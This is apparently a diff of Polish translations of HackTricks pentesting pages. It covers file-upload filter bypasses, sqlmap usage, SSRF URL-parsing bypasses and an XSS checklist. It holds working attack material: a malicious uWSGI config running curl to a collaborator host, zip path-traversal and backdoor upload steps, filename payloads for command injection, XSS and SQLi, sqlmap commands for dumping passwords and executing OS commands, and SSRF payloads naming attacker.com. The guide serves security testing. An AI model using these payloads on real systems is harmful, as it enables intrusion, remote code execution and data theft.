7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie, **pusty plik z zabronionym rozszerzeniem** zostanie utworzony na serwerze (np. “file.asax:.jpg”). Ten plik może być później edytowany przy użyciu innych technik, takich jak użycie jego krótkiej nazwy. Wzór “**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorze może być również przydatne do ominięcia dalszych ograniczeń (np. “file.asp::$data.”)
 | 
			
		||||
8. Spróbuj złamać limity nazw plików. Ważne rozszerzenie zostaje odcięte. A złośliwy PHP zostaje. AAA<--SNIP-->AAA.php
 | 
			
		||||
 | 
			
		||||
```
 | 
			
		||||
# Maksymalnie 255 bajtów w Linuxie
 | 
			
		||||
# Linux maksymalnie 255 bajtów
 | 
			
		||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
 | 
			
		||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 tutaj i dodanie .png
 | 
			
		||||
# Prześlij plik i sprawdź odpowiedź, ile znaków pozwala. Powiedzmy 236
 | 
			
		||||
@ -71,7 +71,7 @@ AAA<--SNIP 232 A-->AAA.php.png
 | 
			
		||||
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
 | 
			
		||||
- Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Jednak możesz użyć **techniki IDAT chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
 | 
			
		||||
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
 | 
			
		||||
- Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, jest użycie funkcji PHP-GD `thumbnailImage`. Jednak możesz użyć **techniki tEXt chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
 | 
			
		||||
- Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, używając funkcji PHP-GD `thumbnailImage`. Jednak możesz użyć **techniki tEXt chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
 | 
			
		||||
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 | 
			
		||||
 | 
			
		||||
### Inne sztuczki do sprawdzenia
 | 
			
		||||
@ -106,7 +106,7 @@ Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponie
 | 
			
		||||
 | 
			
		||||
Aby szczegółowo zbadać tę lukę, sprawdź oryginalne badania: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 | 
			
		||||
 | 
			
		||||
Luki w zdalnym wykonywaniu poleceń (RCE) mogą być wykorzystywane w serwerach uWSGI, jeśli ma się możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magicznych" zmiennych, miejsc i operatorów. Szczególnie potężny jest operator '@', używany jako `@(filename)`, zaprojektowany do włączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na odczyt danych z standardowego wyjścia procesu. Ta funkcja może być manipulowana w złych celach, takich jak zdalne wykonywanie poleceń lub dowolne zapisywanie/odczytywanie plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
 | 
			
		||||
Luki w zdalnym wykonywaniu poleceń (RCE) mogą być wykorzystywane w serwerach uWSGI, jeśli ma się możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magicznych" zmiennych, miejsc i operatorów. Szczególnie potężny jest operator '@', używany jako `@(filename)`, zaprojektowany do włączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na odczyt danych z standardowego wyjścia procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonywanie poleceń lub dowolne zapisywanie/odczytywanie plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
 | 
			
		||||
 | 
			
		||||
Rozważ następujący przykład szkodliwego pliku `uwsgi.ini`, pokazującego różne schematy:
 | 
			
		||||
```ini
 | 
			
		||||
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 | 
			
		||||
; call a function returning a char *
 | 
			
		||||
characters = @(call://uwsgi_func)
 | 
			
		||||
```
 | 
			
		||||
Wykonanie ładunku następuje podczas analizy pliku konfiguracyjnego. Aby konfiguracja mogła zostać aktywowana i przeanalizowana, proces uWSGI musi zostać zrestartowany (potencjalnie po awarii lub z powodu ataku typu Denial of Service) lub plik musi być ustawiony na automatyczne przeładowanie. Funkcja automatycznego przeładowania, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian.
 | 
			
		||||
Wykonanie ładunku następuje podczas analizy pliku konfiguracyjnego. Aby konfiguracja mogła zostać aktywowana i przeanalizowana, proces uWSGI musi zostać ponownie uruchomiony (potencjalnie po awarii lub z powodu ataku typu Denial of Service) lub plik musi być ustawiony na automatyczne przeładowanie. Funkcja automatycznego przeładowania, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian.
 | 
			
		||||
 | 
			
		||||
Kluczowe jest zrozumienie luźnej natury analizy pliku konfiguracyjnego uWSGI. W szczególności omawiany ładunek może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo poszerza zakres potencjalnej eksploatacji.
 | 
			
		||||
 | 
			
		||||
## **wget File Upload/SSRF Trick**
 | 
			
		||||
 | 
			
		||||
W niektórych przypadkach możesz zauważyć, że serwer używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich przypadkach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na liście dozwolonych, aby upewnić się, że tylko dozwolone pliki będą pobierane. Jednak **to sprawdzenie można obejść.**\
 | 
			
		||||
Maksymalna długość **nazwy pliku** w **linuxie** wynosi **255**, jednak **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **ważnym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
 | 
			
		||||
Maksymalna długość **nazwa pliku** w **linux** wynosi **255**, jednak **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **ważnym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
 | 
			
		||||
```bash
 | 
			
		||||
#Create file and HTTP server
 | 
			
		||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
 | 
			
		||||
@ -160,14 +160,14 @@ Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kont
 | 
			
		||||
 | 
			
		||||
## Narzędzia
 | 
			
		||||
 | 
			
		||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, aby wspierać pentesterów i łowców błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki bug bounty, aby uprościć proces identyfikacji i wykorzystywania luk, zapewniając dokładne oceny aplikacji webowych.
 | 
			
		||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, aby wspierać Pentesterów i Łowców Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki bug bounty, aby uprościć proces identyfikacji i wykorzystywania luk, zapewniając dokładne oceny aplikacji webowych.
 | 
			
		||||
 | 
			
		||||
## Od przesyłania plików do innych luk
 | 
			
		||||
 | 
			
		||||
- Ustaw **filename** na `../../../tmp/lol.png` i spróbuj osiągnąć **przechodzenie ścieżki**
 | 
			
		||||
- Ustaw **filename** na `sleep(10)-- -.jpg` i możesz być w stanie osiągnąć **SQL injection**
 | 
			
		||||
- Ustaw **filename** na `<svg onload=alert(document.domain)>`, aby osiągnąć XSS
 | 
			
		||||
- Ustaw **filename** na `; sleep 10;`, aby przetestować niektóre wstrzyknięcia poleceń (więcej [sztuczek wstrzykiwania poleceń tutaj](../command-injection.md))
 | 
			
		||||
- Ustaw **filename** na `; sleep 10;`, aby przetestować niektóre wstrzyknięcia poleceń (więcej [sztuczek wstrzyknięcia poleceń tutaj](../command-injection.md))
 | 
			
		||||
- [**XSS** w przesyłaniu plików obrazów (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
 | 
			
		||||
- **JS** plik **upload** + **XSS** = [**wykorzystanie Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
 | 
			
		||||
- [**XXE w przesyłaniu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
 | 
			
		||||
@ -206,11 +206,11 @@ https://github.com/portswigger/upload-scanner
 | 
			
		||||
 | 
			
		||||
Zobacz [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) dla innych typów plików.
 | 
			
		||||
 | 
			
		||||
### Automatycznie dekompresowane przesyłanie plików Zip/Tar
 | 
			
		||||
## Automatycznie dekompresowane przesyłanie plików Zip/Tar
 | 
			
		||||
 | 
			
		||||
Jeśli możesz przesłać ZIP, który ma być dekompresowany na serwerze, możesz zrobić 2 rzeczy:
 | 
			
		||||
 | 
			
		||||
#### Symlink
 | 
			
		||||
### Symlink
 | 
			
		||||
 | 
			
		||||
Prześlij link zawierający miękkie linki do innych plików, a następnie, uzyskując dostęp do dekompresowanych plików, uzyskasz dostęp do powiązanych plików:
 | 
			
		||||
```
 | 
			
		||||
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
 | 
			
		||||
```
 | 
			
		||||
### Decompress in different folders
 | 
			
		||||
 | 
			
		||||
Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Mimo początkowych założeń, że ta konfiguracja może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości przechodzenia przez katalogi formatu archiwum ZIP mogą być wykorzystane. Umożliwia to atakującym obejście ograniczeń i ucieczkę z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji.
 | 
			
		||||
Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Mimo początkowych założeń, że ta konfiguracja może chronić przed wykonywaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości przechodzenia przez katalogi formatu archiwum ZIP mogą być wykorzystane. Umożliwia to atakującym obejście ograniczeń i ucieczkę z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji.
 | 
			
		||||
 | 
			
		||||
Zautomatyzowany exploit do tworzenia takich plików jest dostępny na [**evilarc na GitHubie**](https://github.com/ptoomey3/evilarc). Narzędzie można używać w sposób pokazany:
 | 
			
		||||
```python
 | 
			
		||||
@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
 | 
			
		||||
root@s2crew:/tmp# zip cmd.zip xx*.php
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
3.  **Modyfikacja za pomocą edytora hex lub vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zmieniając "xxA" na "../", aby przejść do katalogów.
 | 
			
		||||
3.  **Modyfikacja za pomocą edytora hex lub vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zmieniając "xxA" na "../", aby przechodzić między katalogami.
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
:set modifiable
 | 
			
		||||
@ -289,7 +289,7 @@ pop graphic-context
 | 
			
		||||
```
 | 
			
		||||
## Osadzanie powłoki PHP w PNG
 | 
			
		||||
 | 
			
		||||
Osadzanie powłoki PHP w kawałku IDAT pliku PNG może skutecznie omijać niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostawania nietkniętą przez te operacje stanowi istotną zaletę w niektórych przypadkach użycia.
 | 
			
		||||
Osadzanie powłoki PHP w kawałku IDAT pliku PNG może skutecznie omijać niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostawania niezmienioną przez te operacje stanowi istotną zaletę w niektórych przypadkach użycia.
 | 
			
		||||
 | 
			
		||||
Szczegółowe omówienie tej techniki, w tym jej metodologia i potencjalne zastosowania, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). To źródło oferuje kompleksowe zrozumienie procesu i jego implikacji.
 | 
			
		||||
 | 
			
		||||
@ -297,7 +297,7 @@ Więcej informacji w: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
 | 
			
		||||
 | 
			
		||||
## Pliki poliglotowe
 | 
			
		||||
 | 
			
		||||
Pliki poliglotowe służą jako unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleony, które mogą jednocześnie istnieć w wielu formatach plików. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która działa zarówno jako GIF, jak i archiwum RAR. Takie pliki nie są ograniczone do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe.
 | 
			
		||||
Pliki poliglotowe służą jako unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleony, które mogą jednocześnie istnieć w wielu formatach plików. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która działa zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe.
 | 
			
		||||
 | 
			
		||||
Podstawowa użyteczność plików poliglotowych polega na ich zdolności do omijania środków bezpieczeństwa, które skanują pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików do przesyłania—takie jak JPEG, GIF lub DOC—aby zminimalizować ryzyko związane z potencjalnie szkodliwymi formatami (np. JS, PHP lub pliki Phar). Jednak plik poliglotowy, dostosowując się do kryteriów strukturalnych wielu typów plików, może dyskretnie omijać te ograniczenia.
 | 
			
		||||
 | 
			
		||||
@ -305,7 +305,15 @@ Mimo swojej elastyczności, pliki poliglotowe napotykają ograniczenia. Na przyk
 | 
			
		||||
 | 
			
		||||
Więcej informacji w: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 | 
			
		||||
 | 
			
		||||
## Odniesienia
 | 
			
		||||
### Przesyłanie ważnych plików JSON jakby to był PDF
 | 
			
		||||
 | 
			
		||||
Jak uniknąć wykrywania typów plików, przesyłając ważny plik JSON, nawet jeśli nie jest to dozwolone, udając plik PDF (techniki z **[tego wpisu na blogu](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
 | 
			
		||||
 | 
			
		||||
- **Biblioteka `mmmagic`**: Dopóki bajty magiczne `%PDF` znajdują się w pierwszych 1024 bajtach, jest to ważne (przykład z wpisu)
 | 
			
		||||
- **Biblioteka `pdflib`**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka myślała, że to PDF (przykład z wpisu)
 | 
			
		||||
- **Binarne `file`**: Może odczytać do 1048576 bajtów z pliku. Po prostu stwórz JSON większy niż to, aby nie mógł sparsować zawartości jako JSON, a następnie wewnątrz JSON umieść początkową część prawdziwego PDF, a pomyśli, że to PDF
 | 
			
		||||
 | 
			
		||||
## Odnośniki
 | 
			
		||||
 | 
			
		||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
 | 
			
		||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
 | 
			
		||||
@ -313,5 +321,6 @@ Więcej informacji w: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
 | 
			
		||||
- [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
 | 
			
		||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 | 
			
		||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 | 
			
		||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -34,7 +34,7 @@
 | 
			
		||||
--passwords #Get passwords of users in DB
 | 
			
		||||
--privileges #Get privileges
 | 
			
		||||
```
 | 
			
		||||
#### Dane DB
 | 
			
		||||
#### DB data
 | 
			
		||||
```bash
 | 
			
		||||
--all #Retrieve everything
 | 
			
		||||
--dump #Dump DBMS database table entries
 | 
			
		||||
@ -49,11 +49,11 @@ Używając [SQLMapping](https://taurusomar.github.io/sqlmapping/), jest to prakt
 | 
			
		||||
 | 
			
		||||
### Z przechwycenia Burp/ZAP
 | 
			
		||||
 | 
			
		||||
Przechwyć żądanie i utwórz plik req.txt.
 | 
			
		||||
Przechwyć żądanie i utwórz plik req.txt
 | 
			
		||||
```bash
 | 
			
		||||
sqlmap -r req.txt --current-user
 | 
			
		||||
```
 | 
			
		||||
### Wstrzykiwanie żądania GET
 | 
			
		||||
### Wstrzykiwanie Żądania GET
 | 
			
		||||
```bash
 | 
			
		||||
sqlmap -u "http://example.com/?id=1" -p id
 | 
			
		||||
sqlmap -u "http://example.com/?id=*" -p id
 | 
			
		||||
@ -80,13 +80,17 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
 | 
			
		||||
```bash
 | 
			
		||||
--string="string_showed_when_TRUE"
 | 
			
		||||
```
 | 
			
		||||
### Technika wykrywania
 | 
			
		||||
 | 
			
		||||
Jeśli znalazłeś SQLi, ale sqlmap go nie wykrył, możesz wymusić technikę wykrywania za pomocą argumentów takich jak `--prefix` lub `--suffix`, lub w przypadku bardziej złożonych, dodając ją do ładunków używanych przez sqlmap w `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`, na przykład dla opartego na czasie ślepego.
 | 
			
		||||
 | 
			
		||||
### Eval
 | 
			
		||||
 | 
			
		||||
**Sqlmap** umożliwia użycie `-e` lub `--eval`, aby przetworzyć każdy ładunek przed jego wysłaniem za pomocą jednego wiersza kodu w Pythonie. Ułatwia to i przyspiesza przetwarzanie ładunku w niestandardowy sposób przed jego wysłaniem. W następującym przykładzie **sesja cookie flask** **jest podpisywana przez flask znanym sekretem przed jej wysłaniem**:
 | 
			
		||||
**Sqlmap** pozwala na użycie `-e` lub `--eval`, aby przetworzyć każdy ładunek przed jego wysłaniem za pomocą jednego wiersza kodu w Pythonie. Ułatwia to i przyspiesza przetwarzanie ładunku w niestandardowy sposób przed jego wysłaniem. W następującym przykładzie **sesja cookie flask** **jest podpisywana przez flask znanym sekretem przed jej wysłaniem**:
 | 
			
		||||
```bash
 | 
			
		||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
 | 
			
		||||
```
 | 
			
		||||
### Powłoka
 | 
			
		||||
### Shell
 | 
			
		||||
```bash
 | 
			
		||||
#Exec command
 | 
			
		||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
 | 
			
		||||
@ -109,7 +113,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
 | 
			
		||||
--crawl = how deep you want to crawl a site
 | 
			
		||||
--forms = Parse and test forms
 | 
			
		||||
```
 | 
			
		||||
### Wstrzyknięcie Drugiego Rzędu
 | 
			
		||||
### Druga kolejność wstrzyknięcia
 | 
			
		||||
```bash
 | 
			
		||||
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
 | 
			
		||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
 | 
			
		||||
@ -151,8 +155,8 @@ Pamiętaj, że **możesz stworzyć własny tamper w pythonie** i jest to bardzo
 | 
			
		||||
| commalessmid.py              | Zastępuje wystąpienia takie jak 'MID(A, B, C)' z 'MID(A FROM B FOR C)'                                                           |
 | 
			
		||||
| concat2concatws.py           | Zastępuje wystąpienia takie jak 'CONCAT(A, B)' z 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'                                          |
 | 
			
		||||
| charencode.py                | Koduje URL wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych)                                                   |
 | 
			
		||||
| charunicodeencode.py         | Koduje znaki unicode-url niezakodowane w danym ładunku (nie przetwarzając już zakodowanych). "%u0022"                             |
 | 
			
		||||
| charunicodeescape.py         | Koduje znaki unicode-url niezakodowane w danym ładunku (nie przetwarzając już zakodowanych). "\u0022"                             |
 | 
			
		||||
| charunicodeencode.py         | Koduje znaki unicode w danym ładunku (nie przetwarzając już zakodowanych). "%u0022"                                               |
 | 
			
		||||
| charunicodeescape.py         | Koduje znaki unicode w danym ładunku (nie przetwarzając już zakodowanych). "\u0022"                                               |
 | 
			
		||||
| equaltolike.py               | Zastępuje wszystkie wystąpienia operatora równości ('=') operatorem 'LIKE'                                                        |
 | 
			
		||||
| escapequotes.py              | Używa znaku ukośnika do ucieczki cytatów (' i ")                                                                                   |
 | 
			
		||||
| greatest.py                  | Zastępuje operator większy niż ('>') jego odpowiednikiem 'GREATEST'                                                                |
 | 
			
		||||
@ -176,7 +180,7 @@ Pamiętaj, że **możesz stworzyć własny tamper w pythonie** i jest to bardzo
 | 
			
		||||
| space2mssqlhash.py           | Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje nowa linia ('\n')                                             |
 | 
			
		||||
| space2mysqlblank.py          | Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków                                        |
 | 
			
		||||
| space2mysqldash.py           | Zastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje nowa linia ('\n')                           |
 | 
			
		||||
| space2plus.py                | Zastępuje znak spacji (' ') znakiem plusa ('+')                                                                                    |
 | 
			
		||||
| space2plus.py                | Zastępuje znak spacji (' ') znakiem plus ('+')                                                                                     |
 | 
			
		||||
| space2randomblank.py         | Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków                                        |
 | 
			
		||||
| symboliclogical.py           | Zastępuje operatory logiczne AND i OR ich symbolicznymi odpowiednikami (&& i                                                      |
 | 
			
		||||
| unionalltounion.py           | Zastępuje UNION ALL SELECT z UNION SELECT                                                                                         |
 | 
			
		||||
 | 
			
		||||
@ -5,6 +5,7 @@
 | 
			
		||||
### Localhost
 | 
			
		||||
```bash
 | 
			
		||||
# Localhost
 | 
			
		||||
0 # Yes, just 0 is localhost in Linuc
 | 
			
		||||
http://127.0.0.1:80
 | 
			
		||||
http://127.0.0.1:443
 | 
			
		||||
http://127.0.0.1:22
 | 
			
		||||
@ -143,9 +144,9 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
 | 
			
		||||
#Parameter pollution
 | 
			
		||||
next={domain}&next=attacker.com
 | 
			
		||||
```
 | 
			
		||||
### Ominięcie ścieżek i rozszerzeń
 | 
			
		||||
### Paths and Extensions Bypass
 | 
			
		||||
 | 
			
		||||
Jeśli wymagana jest końcówka URL w postaci ścieżki lub rozszerzenia, lub musi zawierać ścieżkę, możesz spróbować jednego z następujących ominięć:
 | 
			
		||||
Jeśli wymagane jest, aby URL kończył się ścieżką lub rozszerzeniem, lub musiał zawierać ścieżkę, możesz spróbować jednego z następujących obejść:
 | 
			
		||||
```
 | 
			
		||||
https://metadata/vulerable/path#/expected/path
 | 
			
		||||
https://metadata/vulerable/path#.extension
 | 
			
		||||
@ -157,7 +158,7 @@ Narzędzie [**recollapse**](https://github.com/0xacb/recollapse) może generowa
 | 
			
		||||
 | 
			
		||||
### Automatic Custom Wordlists
 | 
			
		||||
 | 
			
		||||
Sprawdź [**arkusz oszustw dotyczący obejścia walidacji URL**](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) z portswigger, gdzie możesz wprowadzić dozwolony host i atakujący, a on wygeneruje listę URL do przetestowania. Uwzględnia również, czy możesz użyć URL w parametrze, w nagłówku Host lub w nagłówku CORS.
 | 
			
		||||
Sprawdź [**arkusz oszustw dotyczący obejścia walidacji URL**](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) z portswigger, gdzie możesz wprowadzić dozwolony host i host atakującego, a on wygeneruje listę URL do przetestowania. Uwzględnia również, czy możesz użyć URL w parametrze, w nagłówku Host lub w nagłówku CORS.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
 | 
			
		||||
@ -192,13 +193,13 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
 | 
			
		||||
 | 
			
		||||
### Sztuczka z ukośnikiem
 | 
			
		||||
 | 
			
		||||
Sztuczka _backslash-trick_ wykorzystuje różnicę między [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) a [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Podczas gdy RFC3986 jest ogólnym ramowym dokumentem dla URI, WHATWG jest specyficzny dla adresów URL w sieci i jest przyjęty przez nowoczesne przeglądarki. Kluczowa różnica polega na uznaniu znaku ukośnika wstecz (`\`) przez standard WHATWG za równoważny ukośnikowi do przodu (`/`), co wpływa na sposób, w jaki adresy URL są analizowane, szczególnie oznaczając przejście od nazwy hosta do ścieżki w adresie URL.
 | 
			
		||||
Sztuczka _backslash-trick_ wykorzystuje różnicę między [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) a [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Podczas gdy RFC3986 jest ogólnym ramowym dokumentem dla URI, WHATWG jest specyficzny dla adresów URL w sieci i jest przyjęty przez nowoczesne przeglądarki. Kluczowa różnica polega na tym, że standard WHATWG uznaje ukośnik wsteczny (`\`) za równoważny ukośnikowi (`/`), co wpływa na sposób, w jaki adresy URL są analizowane, szczególnie oznaczając przejście od nazwy hosta do ścieżki w adresie URL.
 | 
			
		||||
 | 
			
		||||

 | 
			
		||||
 | 
			
		||||
### Lewy nawias kwadratowy
 | 
			
		||||
 | 
			
		||||
Znak „lewy nawias kwadratowy” `[` w segmencie userinfo może spowodować, że UriComponentsBuilder Springa zwróci wartość nazwy hosta, która różni się od przeglądarek: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
 | 
			
		||||
Znak „lewy nawias kwadratowy” `[` w segmencie userinfo może spowodować, że UriComponentsBuilder w Springu zwróci wartość nazwy hosta, która różni się od przeglądarek: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
 | 
			
		||||
 | 
			
		||||
### Inne nieporozumienia
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -4,7 +4,7 @@
 | 
			
		||||
 | 
			
		||||
1. Sprawdź, czy **jakakolwiek wartość, którą kontrolujesz** (_parametry_, _ścieżka_, _nagłówki_?, _ciasteczka_?) jest **odzwierciedlana** w HTML lub **używana** przez kod **JS**.
 | 
			
		||||
2. **Znajdź kontekst**, w którym jest odzwierciedlana/używana.
 | 
			
		||||
3. Jeśli **odzwierciedlona**:
 | 
			
		||||
3. Jeśli **odzwierciedlona**
 | 
			
		||||
1. Sprawdź **jakie symbole możesz użyć** i w zależności od tego, przygotuj ładunek:
 | 
			
